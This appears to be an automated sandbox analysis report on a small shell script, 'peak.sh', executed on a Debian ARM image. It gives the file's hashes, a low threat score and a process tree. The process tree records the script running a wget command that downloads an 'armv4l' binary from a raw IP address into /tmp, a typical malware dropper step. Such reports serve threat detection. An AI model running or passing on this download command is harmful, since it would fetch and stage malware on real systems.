48e421597ab357fae3b48ba01910dcabb5ff07e4b1a0412b861b9a47895c4d59

Analysis

max time kernel
146s
max time network
148s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
12/08/2026, 00:23

Target
peak.sh
Size 847B
Sample260812-apf2dastbw
SHA256 48e421597ab357fae3b48ba01910dcabb5ff07e4b1a0412b861b9a47895c4d59
MD5 85f64589d8aaaf914c6c38837e3a1f6b
SHA1 b1c52aeafff2df9e4412118f9e09a8187ffd47b0
SHA512 23b6860034735fb89a81bb5203d3b5f8a68d549af2cb78dfb5ed3b5e446c108f4a3c9c902f16abbf1204d52e557ce8e11f4c9f38022f685700e3c6e610e8ec55
TLSH
T14C010AC531903EB2EC489F08FBB605586087AED9ABCF07E458CB5F149D9D600F953D08
MD5 SHA1 SHA512 TLSH

Score

3^/10

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/armv4l	wget

/tmp/peak.sh
/tmp/peak.sh
1⤵
PID:645
- /usr/bin/wget
  wget http://94.154.43.164/armv4l -O armv4l
  2⤵
  - Writes file to tmp directory
  PID:647